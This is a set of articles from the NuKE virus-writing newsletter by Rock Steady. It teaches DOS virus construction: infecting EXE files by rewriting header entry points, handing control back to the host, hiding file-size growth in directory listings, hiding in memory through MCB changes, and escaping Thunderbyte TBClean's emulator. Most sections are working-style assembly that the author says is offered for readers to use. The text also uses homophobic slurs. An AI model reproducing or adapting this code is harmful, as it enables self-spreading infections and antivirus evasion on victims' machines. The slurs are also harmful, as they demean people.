** EXE Infections : PART I `Infection Process' **
** By Rock Steady/NuKE **
We must admit there are HUGE amount of Lame Viruses out there. Ever
wonder why so many people talk about the AIDS virus? Its a fucken over
writting virus. Its HUGE in size and its written in PASCAL. Please! Have
a little more respect for the virus world. What happened to that old
Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top
viruses as it used to! Or are we in for a surprise? (USSR Kicks!)
Well to help people in advancing their Virus programming ability I will
try to explain that basics in Infecting an EXE file. There are several
ways to infect an EXE file. And I have tried several types. The best one
I have programmed is the one you'll see. In Basic, it will infect EXEs
by starting a new segment, only for the virus. This will infect EXEs over
the size of 64k, and it is alot less complicated..
Before we can begin we must know a few things, about EXEs. Let's say a
.COM file has been loaded to segment address 1234:0000. When the COM file
runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other
end EXE files, are basicaly several COMs in one. Where EXE files can set
up DATA struct in one segment, CODE in another, and STACK in another. EXEs
can have an unlimited amount of Segments, its limitation is Memory
Availablity. And the EXE file keeps track of these Segments, with an
EXE header, telling DOS what segments start where, How big the file is,
the amount of memory needed to run. the EXE header is the first few bytes
of the EXE file. Though if you use DEBUG to load an EXE file you will not
run into the EXE header, as DEBUG uses the EXE header to load its CS:IP
regesters with, the SS:SP and so on. Though you can view the EXE header
with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'
Just rename an EXE, the extension can be anything you wish, however don't
go and rename it to COM or BIN, these are reserved Extensions, and debug
treats them differently, Example if you rename it to COM debug will load
the IP regester as 0100h. The EXE header is Usually 28 bytes, though it
is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in
multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the
last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using
it? Just a poping ideas out in the open. Anyhow this is how the EXE header
START OFFSETS DISCRIPTIONS
00 | 00 | Always 4D 5A. Marks this file as an .EXE file
*02 | 02 | Remainder after dividing load module's size by 512
*04 | 04 | Size of file in 512 byte pages
06 | 06 | Number of relocation table entries
@08 | 08 | Size of header in paragraphs (16 bytes)
0A | 10 | Minumum number of paragraphs required after loaded program
0C | 12 | Maximum number of paragraphs required after loaded program
*0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs
*10 | 16 | SP regester loaded with this word
12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)
*14 | 20 | IP register loaded with this word
*16 | 22 | (CS) Offset of Code Segment in load module in paragraphs
18 | 24 | Offset of first relocation item.
1A | 26 | Overlay number. If no overlays used, this is 0
* = Will be Edited by our Virus
@ = Needed to help our reconstruction of the EXE header
First thing to do is read the EXE header for the file to be infected!
That can be resolved by...
mov ah,3fh ; Read from File BTW: BX=File Handle
mov cx,1ch ; Read 1Ch Bytes (28)
mov dx,offset ds:[buffer] ; Put it in our Buffer we set up!
int 21h ; Call the Dos to do it.
jc error_exit ; Error accured, Jmp to an Exit Routine
buffer db 1Ch DUP (?) ;This is how to set up your buffer.
exe_ip dw 0 ;This is were you will save the original
exe_cs dw 0 ;Registers from the EXE header!
exe_sp dw 0 ;Put all theses DWs & DBs at the end of
exe_ss dw 0 ;you file, with all the others...
Next, after reading the first 28 bytes, you will need to set your file
pointers to the end of the file.
mov ax,4202h ; Move Read/Write Pointer to End of File
xor cx,cx ; plus offset (CX:DX)! So make sure CX:DX
xor dx,dx ; are ZERO or else it will go further than
int 21h ; the End of File!
jc error_exit ; Also test for errors! Be a Smart Virus!
After bringing your virus to the end, you may start the infection
;Remember BX = File Handle DX:AX Pointer Location (EOF)
cmp word ptr cs:[buffer],5A4Dh ; Is file an .EXE?
/\ Reverse double word format
jnz error_exit ;Exit its NOT an .EXE file!
mov cx,word ptr cs:[buffer+14h] ;IP register Read
mov word ptr cs:[exe_ip],cx ;Save IP Register
mov cx,word ptr cs:[buffer+16h] ;CS Register Read
mov word ptr cs:[exe_cs],cx ;Save CS Register
mov cx,word ptr cs:[buffer+10h] ;SP Register Read
mov word ptr cs:[exe_sp],cx ;Save SP Register
mov cx,word ptr cs:[buffer+0Eh] ;SS Register Read
mov word ptr cs:[exe_ss],cx ;Save SS Register
The following finds new CS:IP and SS:SP registers. It will create a new
segment, and CS:IP will point to the beginning of the Virus. If you have
other code, and the virus beginning is further down the First byte, just
add the number of Bytes to AX.
call Find_New_Offsets ;Refer to it at the END of this Text
sub dx,word ptr cs:[buffer+8h] ;Minus CS offset by EXE header!
mov word ptr cs:[buffer+16h],dx ;Save new CS Register
mov word ptr cs:[buffer+14h],ax ;Save new IP Register
pop ax ; Restore Original DX:AX Point Location (EOF)
add ax,virus_size ; .STACKs are usually at the end of the code
; in the EXEs, since our virus is now at the
; End, we must move it after our virus, thus
; it back at the END of the File!
adc dx,0 ;Add with Carry Flag!
push dx ;Save new EOF pointer Location
call Find_New_Offsets ;Get NEW offsets for SS:SP
sub dx,word ptr cs:[buffer+8h] ;Subtract EXE header from File Size
;as it should not be counted!
add ax,40h ;Move Stacks a little after EOF
mov word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks
mov word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks
pop ax ;Restore Original EOF (With Virus Counted)
mov cl,7 ;In Simple, here we are figuring out
shl dx,cl ;the New File Size in 512byte pages
add bx,ax ;Now Rather than using the DIV and
mov cl,9 ;MOD function, I used this one because
shr bx,cl ;It is alot FASTER for the Processor!
add dx,bx ;The Result is exactly same, But
and ax,1FFh ;Shifting bits, results of the
jz Its_Even ;Same function when dealing with base
inc dx ;16 numbers!
Its_Even: ;Read PeterNorton's Advanced ASM Language for
pop cx ;more neat short cuts for the above!
mov word ptr cs:[buffer+2h],ax ;Remainder after of 512 pages
mov word ptr cs:[buffer+4h],dx ;New File Size in 512 pages
Now we are Ready to write the virus to the EXE File! (Yeah!)
mov ah,40h ;Write to File
mov dx,offset init_Virus ;This is the BEGINNING offset of your
;Virus! (Look at NuKE PoX v1.1)
mov cx,Virus_size ;Virus Size
jc error_exit ;Error Exit dude...
mov ax,4200h ;Move File Pointer to the BEGINNING
xor cx,cx ;of the EXE so, we may now write the
xor dx,dx ;EXE header!
mov ah,40h ;Write to File
mov dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header
mov cx,1Ch ;CX=number of bytes to write
int 21h ;Do it!
; finds new Offsets for CS:IP & SS:SP Registers
Find_New_Offsets PROC NEAR
mov cl,0Ch ;(c) Rock Steady/NuKE
shl dx,cl ; I'm dividing here....
mov cl,4 ; And multiply by 16 hear
Rock Steady / NuKE
PS: This code works 100% as is! (Resident Virus) For Non-Residents add
a location pointer! Besides, Why the Hell are you write a non-Ressy
Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!
** EXE Infectors Part II **
** By Rock Steady/NuKE **
The first part consisted on how to Infect the EXE file, from a resident
virus. However, that is only HALF the code and understanding needed for
EXE infectors. The part to follow, is on how to give control back to the
original EXE file. This is one part of EXE infectors, that mostly EVERY
ONE tend to forget to point out. Big tickle, you know how to infect the
EXE, but can you make the original EXE run after its infection? Do you
know how to restore the registers we took from the EXE header? Anyhow
lets get going...
If the Infected EXE file is now executed, the first Line of Code it will
encounter will be the first byte of our Virus. Since CS:IP have been
changed in the header (Part I) to point to our Virus. The first thing
we will need to do, is set up a Variable offset, (As I call it). Basically
when TASM compiles our virus, all variables and other data locations are
given a FIX address. Though in the case of the Virus this is NOT GOOD as
viruses, tend to append themselves, and therefore variables are never
in the same location...
(Original ASM Source)
CALL doit_Now ;Call PUSHes CS:IP addresses
doit_now: POP BP ;POP in BP the IP register
SUB BP,offset doit_now ;Make it EQUAL 0 for first Compile!
MOV AX,word ptr cs:[variable+BP] ;BP=0 now it works!
variable dd 55
When TASM Compiles the above Code it turns it into Fig 2. (Below)
Fig 2. Fig 3.
(Virus Just Compiled) (Virus Infect to a file)
1234:0100 CALL 1234:0103 1234:0100 JMP 500
1234:0103 POP BP 1234:0102 ... (Infect File)
1234:0104 SUB BP,0103 ... '' ''
1234:0107 MOV AX,[0200+BP] 1234:0200 ... '' ''
... ... '' ''
1234:0200 dd 55 1234:0500 CALL 1234:0503
1234:0503 POP BP (BP=503)
1234:0504 SUB BP,0103 (BP=400)
1234:0507 MOV AX,[0200+BP]
1234:0600 dd 55
Later when the Virus infects a File, it will represent Fig 3. Now, when
the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP
so when it has to RETurn, all it has to do is POP back the CS:IP to know
exactly where it left off! So we can take advantage of the command, by
POPing back ourselves, thus this will give us the NEXT byte from the CALL
command. which as you see, in the examples is our POP BP statement.
However when the Virus is Freshly Compiled, all Registers values are GOOD,
so that is why we must make BP=0 the first time, as the variables were
set according to the sources, so no adjustment needed, though when we
infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)
Boy, That was the HARDEST part of that, Now if you found that simple pat
yourself on the back, as that is the only `BIG' Conflict people tend to
disregard or forget. So any time while you are NOT resident but infected
on the file, and you are running code from the infected file just use the
that BP Variable Pointer, for any data being loaded... Now lets put the
routine together, along with the routine to EXECUTE the original EXE file
; After the Virus Has moved a copy of itself in memory, Control must be
; Given back to the Original EXE file we just infected... This is the
; Routine to do it..
mov bx,word ptr cs:[buffer+22][bp] ;Loads CS register
mov ax,cs ;Move current CS in AX
sub ax,bx ;Subtract for alinment
add ax,word ptr cs:[exe_cs][bp] ;Get ORIGINAL CS
add dx,word ptr cs:[exe_ss][bp] ;Get ORIGINAL SS
mov bx,word ptr cs:[exe_ip][bp] ;Get ORIGINAL IP
mov word ptr cs:[fuck_yeah][bp],bx ;Put IP
mov word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order)
mov ax,word ptr cs:[exe_sp][bp] ;Get ORIGNAL SP
mov word ptr cs:[Rock_fix1][bp],dx ;Put in SS
mov word ptr cs:[Rock_fix2][bp],ax ;Put in SP
db 0B8h ;The Byte `B80000' is really a MOV AX,????
Rock_Fix1: ;???? is the Value of SS that we will put into
dw 0 ;THIS LINE!
cli ;Disable Interrupts (No Jamming)
mov ss,ax ;Mov the AX (really SS) into SS register
db 0BCh ;Byte `BC0000' is really a MOV SP,????
Rock_Fix2: ;???? is the Value of SP that we will put into
dw 0 ;THIS LINE!!
sti ;Enable Interrupts
db 0EAh ;The Byte `EA00000000' is a JMP CS:IP How ever
fuck_Yeah: ;IP comes FIRST then CS (Reverse Order) And then
dd 0 ;the Virus does the JMP CS:IP to the Original
; Simple huh?
; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes
; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing
; that looks like any of them Sources we see around. Though I give it to
; you to use.
Rock Steady / NuKE
`One, Two, One, Two, One, Two... Come On Get into that Olympic Spirit'
`Lose Them pounds, Get Rid of that unwanted FAT of them Drives...'
** Directory Stealth **
** By Rock Steady/NuKE **
Stealth Viruses are the Viruses that I must admit Anti-Viral Queers
Don't tend to like at all. Emagine if we added a Polymorphic feature into
the Stealth Virus? But, if you want to Continue Writing Viruses you have
to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners
and CRC & Checksum Checkers. In order to stop many viruses, But it will
NEVER stop the `Stealth' Virus that is SMART of those AV features!
People think that there is ALOT of more INFECTED PCs since the virus
threat, started in 1986-7. Even though in the beginning only 10 or so
viruses were known, they Infected more systems, Compared to the viruses
today, where we have about 1300 and growing. But the truth is LESS PCs
are getting infect now, as people are now Virus Aware. With all the
utilities out, any joker can stop and clean a virus in seconds. Come
on, how many people MEMORIZED COMMAND.COM size? Out of my head its
47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem.
A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth
feature. That will NOT show you the INCREASE of file size, when the
virus infects it. I have played with a few routines as such. I have
tried reducing the File size in the FAT area, which results in the
famous CHKDSK error reports of Loss Sectors, or Cross Links... And
fixing them with CHKDSK will result in damaging the file for good.
What can we do? How about reducing the File size Right AFTER its read
by DOS or any Utilities and right BEFORE its display on the screen!
Yeah that's an Idea, Here's how to go about it...
First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h
function 11h & 12h is called! If you don't know how to Hook Interrupts
Read RESIDENT VIRIIs Article in this NewsLetter.
cmp ah,11h ;Is a DOS `Dir' being done?
je dir_stealth ;Yes, Jump to `DIR_STEALTH'
cmp ah,12h ;Is a DOR `Dir' Being done?
je dir_stealth ;Yes, Jump to `DIR_STEALTH'
jmp dword ptr cs:[Int21] ;Or Else Goto ORIGINAL Int 21h
ret ;Is need for the CALL of below
That's all that is needed in your Int21_Handler. Ofcourse if you are
infecting file that are being Execute you add it ABOVE! Anyhow lets
Explain the `DIR_STEALTH'
Offset Size Description
00h ? 1 ? Drive Number 00=current drive 01=A,02=B,03=C etc..
01h ? 8 ? Filename. Unused Spaces padded with Blanks
09h ? 3 ? Extension of Filename.
0Ch ? 2 ? Current block. points to block of records
0Eh ? 2 ? Record Size.
10h ? 4 ? FileSize in Bytes. (Low-order first, then high-order)
14h ? 2 ? Date of Last Write. YY-MM-DD into bits YYYY-YYYM-MMMD-DDDD
16h ? 2 ? Time of Last Write. HH:MM:SS into bits HHHH-HMMM-MMMS-SSSS
18h ? 4 ? Reserved
*1Ch ? 4 ? SAME `10h' but THIS FILESIZE gets printed on Screen!
20h ? 1 ? Offset of current record
21h ? 4 ? Relative Record
* = Field Changed by virus.
Extended FCB: Are Identical to the Normal FCB but, it has three new
~~~~~~~~~~~~ fields totalling 7 bytes. (That is why we add y to BX)
The additional 7 bytes are added to the BEGINNING!
Offset Size Description
-07h ? 1 ? ALWAYS FFh tells use this is an Extended FCB
-06h ? 5 ? Reserved for DOS
-01h ? 1 ? Attribute Byte
So if we have an Extended FCB the first Byte will be FFh simply INC it
and if its ZERO you got a Extended FCB! You can also CMP ES:[BX],FFh
but that takes too many Bytes! Be COMPACT!!!
CONDISTION: After calling Function 11h/12h (Int 21h) it will
search with the contents in the FCB. (*.*) which the DS:DX
registers point to the FCB. If successful it will DUPLICATE
the specified of the FCB in the current DTA (Disk Transfer Area)
And basically we will EDIT the info in the DTA!
NOTE: Just because we are using the DTA doesn't mean this will work for
function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to
search, that is a different procedure, though somewhat the same as
this one. See Method #2, for that.
Step 1. We call the Int 21h so we may have the results to play with
BEFORE DOS displays them on screen.
Step 2. Get the Current PSP, As the FCB is located inside the PSP
in COM files its CS:0000 - CS:00FF. But in EXEs it can be any-
where, Int21h/AH=51 (Undocemented) will do this for us.
Step 3. Unmask the seconds (see if its infected) Quit if NOT
Step 4. Get the current DTA
Step 5. Test if it is Either an Extended FCB or Normal! If Extended
Simple add 7h to the Address. (As Extended only have 7 bytes
extra in the begining)
Step 6. Minus File size from the DTA! & Restore Time Back
; Here it is... Method #1
pushf ;Fake an INT Call
push cs ;Needed to return back HERE! (Virus)
call Int21Call ;Call the interrupt (See `Int21_Handler')
test al,al ;AL=00h if successful
jnz no_good ;Not Successful. Errors Eg:No More Files
push bx ;Save them since they will be used! So when
push es ;We exit all is restored to as Before!
mov ah,51h ;(Undocmented) Gets the Current PSP and puts
int 21h ;it into BX
mov es,bx ;ES now has PSP segment Address
cmp bx,es:[16h] ;Did we open a Good PSP?
jnz exit_man ;No, PSP unavailable, Exit Dude
mov bx,dx ;BX now points to the Original FCB in PSP
mov al,[bx] ;AL now has the current drive
push ax ;Save it to tell if its an Extended FCB
mov ah,2fh ;Get DTA (Disk Transfer Address)
;Also before we start fiddling around we must know if we are working with
;And EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended
;Has three fields appended to the normal one... (Above)
pop ax ; AL = FFh if Extended FCB or else Drive #
inc al ; Will tell us if we have an Extended FCB
jnz fcb_ok ; No, We don't continue as normal
add bx,7h ; Yes, we do, add 7h to BX pointer
fcb_ok: mov ax,es:[bx+17h] ;Gets Seconds Field
and ax,1fh ;Unmask to have SECONDS only
xor al,1dh ;is it 58 seconds? (1d * 2)
jnz not_infected ;Nope, okay its not infected
and byte ptr es:[bx+17h],0e0h ;Restores seconds
sub es:[bx+1dh],virus_size ;Subtract FileSize with Virii
sbb es:[bx+1fh],ax ;Needed to fix up Bytes with
pop es ;Ciao, Ciao
no_good:iret ;Pretend you came back from an Interrupt call!
Rock Steady / NuKE
`Feed my Frankenstein', Alice Cooper
NOTE: This Code Works, Look at NuKE PoX V1.1 to see it...
** Dir Stealth Method 2 **
** By Rock Steady/NuKE **
Some May notice that when they use PCTOOLs (aka PCSHELL) or Peter Norton
Utilities, or *SOME* File Managing systems like DOS-Shell, the File
increase of infected files is know visable. There is no doubt about
it, if you only put Method #1 in your virus you will encounter times
were the file increase shows. Its not because your Routine isn't good!
But due to the fact that there is another way to Read the Dir Listing
by DOS. An this method is Call File-find by ASCIIZ format.
We just learned how to edit File-Find by FCB. Which is used by MS-DOS
PC-DOS and some other programs. But unlike the others, they use the
ASCIIZ file-Find method as it is EASIER to open, close, edite, and any
other file access routine is ALOT easier with the ASCIIZ or (File Handle)
system. So we will make our Virus Stealth to Method #2! Making us 100%
Stealth from file-finds...
The Function we have to Intecept is Interrupt 21h, with Functions
AH=4Eh (Find First Matching File) and AH=4F (Find Next Matching File)
The Way to go about it is Very much ALIKE to the first one, so just
understand the thoery, and you'll be able to program it within
When this function is called, it will fill the current DTA with 12
entries totally 43 bytes. The DTA will be set up as follows: (below)
BTW: DTA is only a place DOS uses to do Disk Transfer Areas! It ISN'T
like the FCB, or PSP that is anyways the same! You can play with
this as you wish. You also use this DTA to read the Command Line
Offset Size Description
00h ?1 ?Drive Letter
01h ?11 ?Seach Template (Eg:????????COM)
0Ch ?1 ?Attribute Search
0Dh ?2 ?Entry count within Directory
0Fh ?2 ?Cluster Number of start of parent directory
11h ?4 ?Reserved (Atleast Undocumented)
15h ?1 ?Attribute of File FOUND
@ 16h ?2 ?File's Time (Bits : SSSS-SMMM-MMMH-HHHH) Sec/2:Month:Year
18h ?2 ?File's Date (Bits : DDDD-DMMM-MYYY-YYYY) Day:Month:Year
* 1Ah ?4 ?File's Size (Word Reverse Order, Dah!!?!)
1Eh ?13 ?ASCIIZ File name & Extension
* = Must be Edited by Virus is File Infected
@ = Needed to Check if File is Infected. (Seconds Field)
CONDISTION: DS:DX points to ASCIIZ of file search.
CX: Contains File Attributes
Step 1. Call Dos so it fills the DTA with its findings
Step 2. Test for CF=1 (Carry Flag) as error happened
errors happen if File not found, no more files etc...
Step 3. Get Seconds Field And UnMask Seconds
Step 4. Check if seconds = 58 (What ever your using) Quit if NOT
Notice we use `XOR AL,1Dh' rather than `CMP AL,1Dh'
Check in your ASM Bible, which is Faster? Size?
Remember speed & size is EVERYTHING, That is why
My lastest are quite small viriis for stealthness!!
Step 5. If Infected Subtract Virus Size from File
Step 6. Quit
;This is the routine. once you get AH=4Eh/4Fh in you Int 21h Call this
;Routine... (Look at Method #1 for Int21h handler)
pushf ;Fake an Int Call
push cs ;Save our location
call int21Call ;Step #1
jc no_good ;Error Split
mov ah,51h ;Get Current DTA
int 21h ;ES:BX --> DTA
mov ax,es:[bx+16h] ;Get File Time
and ax,1fh ;Un Mask Seconds field
xor al,1dh ;Is it 58 Seconds?
jnz not_infected ;Not infected! Dah?
sub es:[bx+1Ah],Virus_Size ;Minus Virus Size!
sbb es:[bx+1Ch],0 ;Fix up the Sub, Carrying!
pop bx ;Restore Registers
; This code WORKS and is also 100% (c) Rock Steady / NuKE
`WaTch OuT WaReZ PuPpiEs NuKE PoX V2.0 WiLl GeTcHa'
** Memory Stealth **
** By Rock Steady/NuKE **
The Advantages of having a Memory Resident Virus, are unlimited. When our
virus goes `TSR' it REALLY doesn't do ANYTHING. It just stays there,
waiting to be called upon. the 80x86 really doesn't MULTITASK, so don't
think the virus runs `in the Background' TSRs tend to hook on Interrupts,
depending what function they must do. If it must be called upon OFTEN,
hook Int 1C, if your must run when an File is Executed/Open/Close Hook
Int 21h. And everytime Int 21h is called, Your Virus Runs FIRST, then it
calls the original Int 21h.
I will try to explain on how cut off a block of Memory, Then we'll
allocate memory for the Virus, change the program MCB, and move the
virus resident in memory.
para_size equ 3
mov cx,es ;Get current Segment
dec cx ;Subtract 1, so we have MCB
mov es,cx ;Restore it back to ES
mov bx,es:para_size ;BX=MCB Size in Paragraphs
mov dx,virus_size ;DX=Virus Size
mov cl,4 ;Unfortunately, VirusSize is in Bytes
shr dx,cl ;While memory size is calculated in
add dx,4 ;paragraphs (16-Byte)
mov cx,es ;Start to Restore the Old Segment in ES
sub bx,dx ;oh, yeah, Minus Virus - Current memory
inc cx ;Increment CX
mov es,cx ;Put it back, NOTICE a PUSH ES + POP ES
mov ah,4ah ;would have been BETTER!!!!!
int 21h ;Call Dos to Adjust Memory block Size
; First part has been easily completed, Next code, Allocates Memory for
; the Virus...
jc exit_com ;Test, incase Error Happened
mov ah,48h ;Allocate Memory function
mov bx,dx ;Number of 16-Byte Paragraphs to
int 21h ;Allocate
; Next this Function Returns the Segment of the Allocated memory Block
; in AX register. So edit its MCB and move the virus resident.
mem equ 2 ;Put theses with the rest...
jc exit_com ;Another Test for Errors...
dec ax ;Get it MCB
mov es,ax ;Put it into ES
mov es:mem,cx ;Fix MCB PSP blocks Owner
mov di,103h ;Offset of where virus will start.
mov es,ax ;With is Segment
mov si,bp ;Put BP (Delta Offset) in SI
add si,offset init_virus ;Add to point to the begining of Virus
mov cx,virus_size ;How many Bytes to move?
cld ;Clear Direction Flag (Ascending)
repne movsb ;Copy from DS:SI to ES:DI
That is all needed to do the trick. And it will not show up with the Memory
Mapping Utilities like MEM or CHKDSK. However Dos will report Available
memory to be short by the Number of Paragraphs we Allocated. I will try
to fix this DARN thing that drives me crazy, I believe it can be solved
like our FCB Dir Method, Where we can add the Number of Paragraphs our
Virus Allocated back to them Memory Mapping Utilities. There IS a WAY!
And we will find it... This topic will be continued in Info Journal #5.
`Check out N-PoX(es) to see this Routine Working'
E- "The Dangers of Thunderbyte's TBClean Emulation Nu
Nu Techniques" KE
-N By uK
uK Rock Steady E-
NuKE InfoJournal #7
% AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %
% DISCLAIMER %
This article is concerning a study and field test of the reliability of
Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
and this is simply a report about his extensive study of Thunderbyte's
TBClean utility. This report is not intended to scare people away from
Thunderbyte's anti-virus package, but rather to show you how TBClean
actually works in order to clean a virus. The information here may disturb
many people, nevertheless it is presented here for the safety of those who
use Thunderbyte's TBClean in a home and/or business environment.
% What is ThunderByte %
Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
computer viruses. In this issue of the NuKE InfoJournal, we will take a
very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
which is supplied in every TBAV package.
TBCLEAN.EXE is a program that tries to remove viruses from your infected
files by using an heuristic/emulation approach. Now, for those who don't
understand what an heuristic/emulation approach is let me try to explain
it to you in more simplified, less-technical terms.
TBClean will try to set up a "control" environment to execute the virus. You
see, many of the computer viruses today will attach themselves to binary files
and alter them in such a way that when you try to execute (run) the binary
file the virus will execute first and install itself into memory, and then
the virus will execute the original binary file it is attached to. Now, every
????????.COM and ????????.EXE binary file contains an entry point. This is the
point from which DOS to starts to execute the code. Basically it is
the beginning of the program, and in order for the file to run properly we
need to start at that entry point. Now *.COM files contain a FIXED entry point
which is location 100h. Now if we attach a virus to the end of the COM file,
we have to fix the entry point so that when executed the virus will run
first. Since this is a FIXED entry point, we will go to location 100h, and
put a JMP statement to jump to the entry point of the virus. For the
original file to execute correctly, we will need the original three bytes
at the entry point, since the JMP we put for it to jump to the virus entry
point took three bytes of data in the .COM. So when the virus gives control
back to the file, we then must restore the original three bytes and execute
Now to remove the virus from the .COM file we need to know where the original
three bytes are. So TBClean will actually execute the virus and try to catch
the virus restoring the original three bytes. Once that happens, TBClean can
safely remove the virus from the file, as it now can replace the original
three bytes where the virus put its jump statement.
Now .EXEs have a variable entry point, rather than a fixed one like the .COM
files. Each .EXE file contains a header of about 32 bytes in the beginning
of the file which has information about the .EXE itself, including the entry
point. Now when a virus attaches (infects) itself to an .EXE file, it simply
puts its entry point inside the .EXE header and saves the original one for
Again, in order to remove a file from an .EXE file, we will need to have the
original entry point location. And TBClean does this by executing the virus
in a controlled environment; when the virus restores control back to the
.EXE file, it will jump to the entry point location. TBClean will halt
at that point and attempt to clean the file.
% The Problem %
The problem when doing this, the virus can always escape from this controlled
environment and go loose. In fact we at NuKE have attempted and succeeded in
doing just that!
% Explanation %
When you run TBClean to disinfect a virus-infected file, it does several
things in order to set up the environment needed to execute the virus. One of
things that TBClean does is check to see if it is being debugged.
I guess the makers of TBClean did not want people to "debug" their software
in order to have a closer look because once you know how the program works
you then can attempt to bypass it. The easiest way to bypass the anti-debug
traps is to use a debugger package that can go TSR and put loose breakpoints.
I've found that Periscope and SoftIce can easily bypass the TBClean traps,
or you may set a TSR file and set it to go off on the first interrupt 21h,
function 3Dh (DOS Open File).
The next main trick TBClean does is that it occupies all of the remaining
memory left in the system. TBClean only requires about 20k for itself, but
nevertheless it will occupy all the remaining memory left in the system. It
will use this memory for the file it will attempt to clean, but not all of the
memory is really needed, nevertheless it is occupied. Why? Well, because
TBClean wants to set-up a secure environment to run the virus and by occupying
all the available memory if the virus gets out of hand it CAN'T go resident
because there is no more memory left! "Pretty smart," you must be saying to
yourself? Yes, it is a good idea to occupy all of the memory, so like even if
the virus tries to allocate memory it will get an error and it will quit.
The next trick, before TBClean actually executes the virus in the controlled
environment is that it will make two copies of the interrupt vector table.
This too is a good idea, because if a virus does manage to escape and hook the
vector table, TBClean will notice the vector table change and restore it
with the original value. Therefore, if a virus was to "get out" of this
controlled TBClean environment we would need to hook all three copies of the
vector tables (DOS + the two copies that TBClean makes).
After this, we are pretty much ready to try to make a disinfection via
emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
and 4h to do the actual tracing. The interrupt that we REALLY need to pay
attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
they added what we call a Trap Flag. Normally this flag is off, and the
processor executes every line of code without stoping. But when the trap flag
is on, the processor will issue an Int 1h call after every line of code
executed. Therefore, after every line of code is executed the processor will
issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
the code line by line.
There are a few restrictions that TBClean enforces; one of them is the Trap
flag must always be on! If you try to turn off the Trap flag, TBClean will
fool the virus into thinking the Trap flag is off, but it really stays on.
Secondly, interrupt calls are not allowed. Thirdly, it will never give you
the true vector address of Int 1h or Int 3h -- it gives you a fake value
instead. Finally, TBClean will NOT allow the virus to have its segment in
the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
the value 0ABC is never allowed to go in the DS or ES registers of the virus.
This is done so the virus is not able to snoop inside TBClean.
% Making a virus to bypass TBClean %
After I had successfully taken apart TBClean, and once I understood exactly
how it worked, then I was ready to write a virus to defeat TBClean's
dangerous emulation techniques.
Don't get me wrong, TBClean has a great idea going, but it contains too many
flaws that must be tightened up. And apparently those flaws can lead to the
destruction of your PC. Just think about it. Let's say you just downloaded a
file from your local BBS, and you used TBSCAN to scan the new file for viruses,
before you attempt to execute it. Lets say the file is infected with a virus
like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
wouldn't you naturally try to clean it so you could perhaps use the file? Of
course you would, and what program would you use to do the job? Nothing but
Picture it, your computer is not infected by any virus, you are pretty much
happy about yourself for using TBSCAN and detecting that virus inside that
file you just downloaded. Your glad you got it before it infected your
computer. Or lets say you got TBScanX resident, and it caught the virus, just
as you attempt to executed it... You now try to clean the file with TBClean.
TBClean does what it has to do, looks at the file and then tries emulation to
disinfect it. After emulation TBClean reports no viruses found, and tells you
that it may not even be infected with a virus.
You're puzzled? Well, actually TBClean just unleased the virus into your
system! Now who's to blame? Personally, I think it's the incompetent
programmers of TBClean. It allowed too many loopholes in their program, and
the Varicella-][ virus just took advantage of those loopholes and is now
resident in your computer, ready to infect every file you touch. Remember, it
is also a very fast, stealthy virus.
Personally, if _any_ anti-virus program should attempt to disinfect via
emulation, it must be EXTREMELY cautious, and it should take every
possible loophole into account. Remember, emulation means that you are
actually executing the virus in order to disinfect it. Many people didn't
know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
should praise NuKE for testing their software and showing them their flaws, so
that they may do whatever is necessary to fix this problem.
It is fortunate for Thunderbyte that no "evil" virus writer has noticed
this problem and took advantage of it. It would have cost Thunderbyte
their name and market share.
Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
that Thunderbyte rated very low under NuKE's personal attack tests in several
Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
when no virus was present. It is enough that the average computer user is
paranoid about viruses, but if you "cry wolf" too many times people lose hope
in the package.
Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
under OS/2. This seems to be because TBSCAN uses its own file routines, instead
Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
package too difficult to use. A Windows version of Thunderbyte could
be a great plus.
% And in this corner...Varicella-][ %
Let's go into detail with parts of the Varicella-][ virus and let's show you why
1 mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
2 xor dx,dx ;dx=0
3 mov ds,dx ;ds=0
4 mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
5 dec ax
6 mov ds,ax
Okay, after looking at the above we begin by resetting our TB flag. TBClean
will not give us the complete address of Int 1h. It will only give us the
correct segment, the offset is no good. Therefore let's simply take the segment.
Now we know the segment location of TBClean in memory, since TBClean will
not let me store the value in DS, let's subtract 1 and *then* store it in DS.
We have again fooled TBClean; maybe we can't have TBClean's correct segment
in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.
In the next block of code, we will search 64k of TBClean's memory in order to
find the Int 1h and 3h offsets and the two copies of the vector table. This is
